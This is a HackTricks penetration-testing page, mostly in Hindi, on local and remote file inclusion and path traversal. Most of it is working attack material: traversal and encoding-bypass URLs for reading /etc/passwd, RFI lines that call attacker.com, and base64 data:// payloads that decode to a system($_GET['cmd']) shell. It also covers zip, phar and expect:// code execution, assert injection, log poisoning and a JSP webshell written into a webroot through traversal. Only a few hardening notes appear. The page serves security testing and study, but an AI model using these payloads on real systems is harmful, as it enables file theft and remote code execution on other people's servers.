File Inclusion/Path traversal

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File Inclusion

Remote File Inclusion (RFI): फ़ाइल एक remote server से लोड होती है (Best: आप कोड लिख सकते हैं और server उसे execute करेगा)। In php यह disabled है by default (allow_url_include).
Local File Inclusion (LFI): सर्वर एक local फ़ाइल लोड करता है।

दुर्बलता तब उत्पन्न होती है जब यूज़र किसी न किसी तरह उस फ़ाइल को नियंत्रित कर सके जिसे सर्वर लोड करने वाला है।

कमज़ोर PHP functions: require, require_once, include, include_once

इस vulnerability को exploit करने के लिए एक दिलचस्प टूल: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI lists को मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसके अलावा / को \ से बदलने की कोशिश करें
इसके अलावा ../../../../../ जोड़ने की कोशिश करें

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

विभिन्न wordlists का मर्ज:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसके अलावा / को \ से बदलने की कोशिश करें
इसके अलावा C:/ हटाकर ../../../../../ जोड़ने की कोशिश करें

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

linux की LFI सूची देखें।

बेसिक LFI और bypasses

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences नॉन-रिकर्सिवली हटाए गए

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान किए गए string के अंत में append किए गए अतिरिक्त chars को bypass करें (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

एन्कोडिंग

आप गैर-मानक एन्कोडिंग जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

आधुनिक HTML-to-PDF engines (e.g. TCPDF या wrappers जैसे html2pdf) attacker-provided HTML, SVG, CSS, और font URLs को सहजता से parse करते हैं, फिर भी वे trusted backend networks में चलते हैं जिनके पास filesystem access होता है। एक बार जब आप $pdf->writeHTML()/Html2Pdf::writeHTML() में HTML inject कर सकते हैं, तो अक्सर आप उन स्थानीय फाइलों को निकाल सकते हैं जिन्हें web server account पढ़ सकता है।

  • Fingerprint the renderer: हर generated PDF में एक Producer field होता है (उदा. TCPDF 6.8.2)। सही build जानने से आपको पता चलता है कौन से path filters मौजूद हैं और क्या URL decoding validation से पहले होता है।
  • Inline SVG payloads: TCPDF::startSVGElementHandler() <image> elements से xlink:href attribute पढ़ता है और फिर urldecode() चलाता है। एक malicious SVG को data URI के अंदर embed करने से कई HTML sanitizers payload को ignore कर देते हैं जबकि TCPDF उसे फिर भी parse करता है:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.

  • Encoding to bypass naive filters: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

मौजूदा फ़ोल्डर से

शायद back-end फ़ोल्डर path की जाँच कर रहा है:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फाइल सिस्टम निर्देशिकाओं का अन्वेषण

सर्वर के फाइल सिस्टम को कुछ तकनीकों का उपयोग करके पुनरावर्ती रूप से एक्सप्लोर किया जा सकता है ताकि केवल फ़ाइलों ही नहीं बल्कि निर्देशिकाओं की भी पहचान की जा सके। यह प्रक्रिया वर्तमान निर्देशिका की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों के अस्तित्व की जाँच करने से जुड़ी है। नीचे इसे हासिल करने की एक विस्तृत विधि दी गई है:

  1. Determine Directory Depth: वर्तमान निर्देशिका की गहराई निर्धारित करने के लिए /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके जाँच करें (applicable if the server is Linux-based)। एक उदाहरण URL निम्नलिखित संरचना का हो सकता है, जो तीन की गहराई को दर्शाता है:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: URL में संदेहित फ़ोल्डर का नाम (उदा., private) जोड़ें, फिर /etc/passwd पर वापस नेविगेट करें। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक से बढ़ाना होगा:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों की व्याख्या: सर्वर के उत्तर से यह संकेत मिलता है कि फ़ोल्डर मौजूद है या नहीं:
  • त्रुटि / कोई आउटपुट नहीं: संभवतः निर्दिष्ट स्थान पर private फ़ोल्डर मौजूद नहीं है।
  • /etc/passwd की सामग्री: private फ़ोल्डर की उपस्थिति की पुष्टि होती है।
  1. रिकर्सिव खोज: पाए गए फ़ोल्डरों को उसी तकनीक या पारंपरिक Local File Inclusion (LFI) विधियों का उपयोग करके उप-डायरेक्टरीज़ या फ़ाइलों के लिए आगे जांचा जा सकता है।

फ़ाइल सिस्टम में अलग-अलग स्थानों पर डायरेक्टरीज़ की खोज करने के लिए, payload को उसी के अनुरूप समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि /var/www/ में private डायरेक्टरी है या नहीं (मानते हुए कि वर्तमान डायरेक्टरी गहराई 3 पर है), उपयोग करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक विधि है जिसका उपयोग web applications में file paths को manipulate करने के लिए किया जाता है। यह अक्सर उन सुरक्षा उपायों को बायपास करके प्रतिबंधित फ़ाइलों तक पहुँचने के लिए उपयोग होता है, जो file paths के अंत में अतिरिक्त अक्षर जोड़ देते हैं। उद्देश्य ऐसा file path तैयार करना है जो सुरक्षा उपाय द्वारा बदले जाने के बाद भी इच्छित फ़ाइल की ओर संकेत करे।

In PHP, file system की प्रकृति के कारण file path के कई प्रतिनिधित्व समान माने जा सकते हैं। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी एक ही path के रूप में माना जाते हैं।
  • जब अंतिम 6 अक्षर passwd हों, तो अंत में / जोड़ना (जिससे यह passwd/ बन जाता है) लक्षित फ़ाइल को बदलता नहीं है।
  • इसी तरह, यदि किसी file path के अंत में .php जुड़ा हो (जैसे shellcode.php), तो अंत में /. जोड़ने से एक्सेस की जा रही फ़ाइल नहीं बदलेगी।

नीचे दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके /etc/passwd तक पहुँच बनाई जा सकती है, जो संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में, आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।

  • डॉट सेगमेंट्स और अतिरिक्त कैरेक्टर्स का उपयोग: Traversal sequences (../) को अतिरिक्त dot segments और कैरेक्टर्स के साथ मिलाकर file system में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे सर्वर द्वारा जोड़े गए appended strings को प्रभावी रूप से अनदेखा किया जा सके।
  • आवश्यक traversals की संख्या निर्धारित करना: Trial and error के माध्यम से कोई भी वह सटीक संख्या पता कर सकता है कि कितनी ../ sequences की जरूरत है root directory तक और फिर /etc/passwd तक पहुँचने के लिए, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे .php) को neutralize कर दिया गया है पर इच्छित path (/etc/passwd) जस का तस बना रहे।
  • नकली डायरेक्टरी से प्रारंभ करना: आम तौर पर path की शुरुआत एक non-existent directory (जैसे a/) से करना प्रचलित है। यह तकनीक एक सावधानी के तौर पर या सर्वर के path parsing logic की आवश्यकताओं को पूरा करने के लिए इस्तेमाल होती है।

Path truncation techniques का उपयोग करते समय, सर्वर के path parsing व्यवहार और filesystem संरचना को समझना बेहद महत्वपूर्ण है। हर परिदृश्य के लिए अलग तरीका ज़रूरी हो सकता है, और सबसे प्रभावी विधि खोजने के लिए अक्सर परीक्षण आवश्यक होता है।

यह vulnerability PHP 5.3 में ठीक कर दी गई थी।

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि allow_url_include Off. यह काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include कर सकते हैं और RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को filtering कर रहा है, according to this post, आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP कोड को decode कर सकते हैं और RCE प्राप्त कर सकते हैं:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

खुला .git Repository (Source Disclosure)

यदि वेब सर्वर /.git/ एक्सपोज़ करता है, तो एक attacker अक्सर reconstruct the full repository (including commit history) कर सकता है और application को offline audit कर सकता है। यह आमतौर पर hidden endpoints, secrets, SQL queries, और admin-only functionality को उजागर करता है।

त्वरित जाँच:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Dump रिपॉज़िटरी को git-dumper के साथ:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

फिर working tree को पुनर्प्राप्त करें:

cd out
git checkout .

Tip

पिछले कोड में, अंतिम +.txt इसलिए जोड़ा गया था क्योंकि attacker को ऐसी string चाहिए थी जो .txt में समाप्त हो, इसलिए string इसके साथ समाप्त होती है और b64 decode के बाद वह हिस्सा सिर्फ junk लौटाएगा और वास्तविक PHP code शामिल किया जाएगा (और इसलिए, निष्पादित होगा)।

एक और उदाहरण php:// प्रोटोकॉल का उपयोग न करते हुए होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python रूट एलिमेंट

Python में, इस तरह के कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता absolute path को file_name के रूप में पास करता है, तो previous path बस हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह इच्छित व्यवहार है, the docs के अनुसार:

यदि कोई component एक absolute path है, तो सभी पिछले components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।

Java डायरेक्टरी लिस्टिंग

ऐसा लगता है कि अगर Java में आपके पास Path Traversal है और आप फ़ाइल की बजाय डायरेक्टरी के लिए अनुरोध करते हैं, तो डायरेक्टरी की लिस्टिंग वापस की जाती है। यह अन्य भाषाओं में नहीं होगा (जहाँ तक मुझे पता है)।

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के लिए कमजोर हो सकते हैं (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters डेटा को पढ़े या लिखा जाने से पहले उस पर बुनियादी संशोधन ऑपरेशन करने की अनुमति देते हैं। फ़िल्टर्स की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटाता है (“<” और “>” के बीच की सामग्री)
  • ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक अलग encoding में बदलता है(convert.iconv.<input_enc>.<output_enc>)। समर्थित सभी एन्कोडिंग्स की सूची पाने के लिए कंसोल में चलाएँ: iconv -l

Warning

convert.iconv.* conversion फ़िल्टर का दुरुपयोग करके आप मनमाना टेक्स्ट उत्पन्न कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसी फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस कराने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: सामग्री को संपीड़ित करता है (useful if exfiltrating a lot of info)
  • zlib.inflate: डेटा को डीकम्प्रेस करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • अन्य फ़िल्टर्स
  • php में var_dump(stream_get_filters()); चलाने पर आप कुछ अनपेक्षित फ़िल्टर्स पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलट देता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

हिस्सा “php://filter” केस-इनसेंसिटिव है

Arbitrary files पढ़ने के लिए php filters को oracle के रूप में उपयोग करना

इस पोस्ट में एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस मिले बिना लोकल फ़ाइल पढ़ने की अनुमति देती है। यह तकनीक php filters को oracle के रूप में उपयोग करके फ़ाइल के boolean exfiltration (char by char) पर आधारित है। ऐसा इसलिए है क्योंकि php filters टेक्स्ट को इतना बड़ा कर सकते हैं कि php एक exception फेंक दे।

मूल पोस्ट में इस तकनीक की विस्तृत व्याख्या मिलती है, पर यहाँ एक त्वरित सारांश है:

  • Use the codec UCS-4LE ताकि टेक्स्ट के अग्रिम character को शुरुआत में छोड़ा जा सके और string का आकार घातीय रूप से बढ़े।
  • इसका उपयोग इतना बड़ा टेक्स्ट जनरेट करने के लिए होगा कि जब initial letter सही अनुमानित हो तो php एक error ट्रिगर करेगा।
  • dechunk filter सब कुछ हटा देगा अगर पहला char hexadecimal नहीं है, इसलिए हम जान सकते हैं कि पहला char hex है या नहीं।
  • यह, पिछले वाले के साथ (और अनुमानित अक्षर पर निर्भर अन्य filters), हमें टेक्स्ट की शुरुआत के एक अक्षर का अनुमान लगाने देगा — जब हम पर्याप्त transformations करते हैं और वह अक्षर hexadecimal न रहे तब हम उसे देख पाएंगे। क्योंकि अगर वह hex है तो dechunk उसे नहीं हटाएगा और प्रारम्भिक बम php error करेगा।
  • The codec convert.iconv.UNICODE.CP930 हर अक्षर को अगले अक्षर में बदल देता है (इस codec के बाद: a -> b)। इससे हमें पता चल सकता है कि पहला अक्षर उदाहरण के लिए a है क्योंकि अगर हम इस codec को 6 बार लागू करें (a->b->c->d->e->f->g) तो अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे नहीं हटाएगा और php error ट्रिगर होगा क्योंकि यह प्रारम्भिक बम के साथ गुणा हो जाता है।
  • शुरुआत में rot13 जैसे अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य chars को leak करना संभव है (और अन्य codecs का उपयोग अन्य अक्षरों को hex रेंज में लाने के लिए किया जा सकता है)।
  • जब प्रारम्भिक char एक संख्या हो तो उसे base64 encode करना आवश्यक है और संख्या को leak करने के लिए पहले 2 अक्षर leak करने होंगे।
  • अंतिम समस्या यह देखना है कि initial letter से अधिक कैसे leak किया जाए। order memory filters जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके chars के order को बदलना और टेक्स्ट के अन्य अक्षरों को पहली स्थिति में लाना संभव है।
  • और आगे के डेटा प्राप्त करने के लिए विचार यह है कि शुरुआत में convert.iconv.UTF16.UTF16 के साथ 2 bytes junk data जनरेट करें, फिर UCS-4LE लागू करें ताकि यह अगले 2 bytes के साथ pivot करे, और junk data तक डेटा को हटाएँ (यह प्रारम्भिक टेक्स्ट के पहले 2 bytes को हटा देगा)। यह तब तक जारी रखें जब तक आप desired बिट तक नहीं पहुँच जाते और उसे leak कर लेते हैं।

पोस्ट में इसे स्वचालित रूप से करने के लिए एक tool भी leak किया गया था: php_filters_chain_oracle_exploit.

php://fd

यह wrapper प्रोसेस द्वारा open किए गए file descriptors तक पहुँचने की अनुमति देता है। खुले फ़ाइलों की सामग्री को exfiltrate करने के लिए संभावित रूप से उपयोगी:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout और php://stderr का उपयोग करके क्रमशः file descriptors 0, 1 और 2 को भी एक्सेस कर सकते हैं (यह स्पष्ट नहीं है कि यह किसी attack में कैसे उपयोगी हो सकता है)

zip:// and rar://

एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर PHPShell हो और उसे एक्सेस करें.
rar protocol का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फिगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है

expect://

Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parameters में अपने payload को निर्दिष्ट करें:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

A .phar फ़ाइल का उपयोग तब किया जा सकता है जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए include जैसे फ़ंक्शन का उपयोग करता है, जिससे PHP कोड निष्पादित हो सकता है। नीचे दिया गया PHP कोड स्निपेट एक .phar फ़ाइल बनाने का प्रदर्शन करता है:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को compile करने के लिए, निम्नलिखित command चलानी चाहिए:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

ऐसी परिस्थितियों में जहाँ LFI केवल फ़ाइल पढ़ता है और भीतर के PHP कोड को execute नहीं करता (जैसे कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() जैसे फ़ंक्शंस के माध्यम से), तो deserialization vulnerability का लाभ उठाने का प्रयास किया जा सकता है। यह vulnerability phar protocol का उपयोग करके फ़ाइलों के पढ़ने से जुड़ा हुआ है।

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
बहुत संक्षिप्त सारांश: PHP heap में एक 3 byte overflow का दुरुपयोग करके free chunks की चैन को बदल दिया गया ताकि एक विशिष्ट आकार के chunks के चेन को संशोधित करके किसी भी address पर कुछ भी लिखने की क्षमता हासिल की जा सके, और इस तरह एक hook जोड़ा गया जो system को कॉल करता है।
अधिक php filters का दुरुपयोग करके विशिष्ट आकार के chunks को alloc करना संभव था।

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — मेमोरी में या एक temporary फ़ाइल में लिखना (यह नहीं पता कि यह file inclusion attack में कैसे उपयोगी हो सकता है)
  • file:// — स्थानीय फ़ाइल सिस्टम तक पहुँच
  • http:// — HTTP(s) URLs तक पहुँच
  • ftp:// — FTP(s) URLs तक पहुँच
  • zlib:// — Compression Streams
  • glob:// — पैटर्न से मिलते हुए pathnames खोजें (यह कुछ printable नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (आम फ़ाइल पढ़ने के लिए उपयोगी नहीं)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) जोखिम PHP में विशेष रूप से अधिक होते हैं जब ‘assert’ फ़ंक्शन के साथ काम किया जा रहा हो, क्योंकि यह strings के भीतर कोड को execute कर सकता है। यह खास तौर पर समस्या उत्पन्न करता है अगर input में directory traversal characters जैसे “..” की जाँच तो की जा रही हो लेकिन उसे सही तरीके से sanitize नहीं किया जा रहा हो।

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

जबकि इसका उद्देश्य traversal रोकना है, यह अनजाने में code injection के लिए एक vector बना देता है। फाइल की सामग्री पढ़ने के लिए इसे exploit करने हेतु एक हमलावर उपयोग कर सकता है:

' and die(highlight_file('/etc/passwd')) or '

इसी तरह, executing arbitrary system commands के लिए, कोई उपयोग कर सकता है:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप file path को नियंत्रित करते हैं और एक PHP function जो किसी फ़ाइल को access a file करेगा, लेकिन आप फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे एक साधारण कॉल file()) क्योंकि सामग्री प्रदर्शित नहीं होती।

In this incredible post इसमें समझाया गया है कि कैसे एक blind path traversal को PHP filter के जरिए दुरुपयोग करके exfiltrate the content of a file via an error oracle किया जा सकता है।

संक्षेप में, यह तकनीक “UCS-4LE” encoding का उपयोग करती है ताकि फ़ाइल की सामग्री इतनी बड़ी हो जाए कि फ़ाइल खोलने वाली PHP function एक error ट्रिगर कर दे।

फिर, पहले char को leak करने के लिए filter dechunk का उपयोग किया जाता है साथ ही अन्य जैसे base64 या rot13, और अंततः filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य अक्षरों को शुरुआत में रखकर उन्हें leak किया जाता है।

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

जब server-side code जो ingest/uploads फ़ाइलें करता है, destination path को user-controlled डेटा (जैसे filename या URL) का उपयोग करके बनाता है बिना उसे canonicalising और validating किए, तब .. segments और absolute paths intended directory से बाहर निकलकर arbitrary file write करवा सकते हैं। अगर आप payload को किसी web-exposed directory के नीचे रख पाते हैं, तो आम तौर पर webshell डालकर unauthenticated RCE प्राप्त हो जाता है।

Typical exploitation workflow:

  • किसी endpoint या background worker में एक write primitive की पहचान करें जो path/filename स्वीकार करता हो और डिस्क पर content लिखता हो (जैसे message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
  • web-exposed directories निर्धारित करें। सामान्य उदाहरण:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • ऐसा traversal path तैयार करें जो intended storage directory से बाहर निकलकर webroot में जाए, और अपने webshell content को शामिल करें।
  • डाले गए payload पर ब्राउज़ करें और commands execute करें।

Notes:

  • जो vulnerable service write करता है वह non-HTTP port पर सुन सकता है (उदाहरण के लिए, TCP 4004 पर एक JMF XML listener). मुख्य web portal (अलग port) बाद में आपका payload serve करेगा।
  • Java stacks पर, ये file writes अक्सर सरल File/Paths concatenation के साथ लागू किए जाते हैं। canonicalisation/allow-listing की कमी मुख्य दोष है।

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
  • Reject any path containing .., absolute roots, or drive letters; prefer generated filenames.
  • Run the writer as a low-privileged account and segregate write directories from served roots.

Remote File Inclusion

Explained previously, follow this link.

Apache/Nginx लॉग फ़ाइल के माध्यम से

यदि Apache या Nginx सर्वर include function के भीतर vulnerable to LFI है, तो आप /var/log/apache2/access.log or /var/log/nginx/access.log तक पहुँचने की कोशिश कर सकते हैं, user agent या किसी GET parameter में php shell जैसे <?php system($_GET['c']); ?> सेट करके और उस फाइल को include करें

Warning

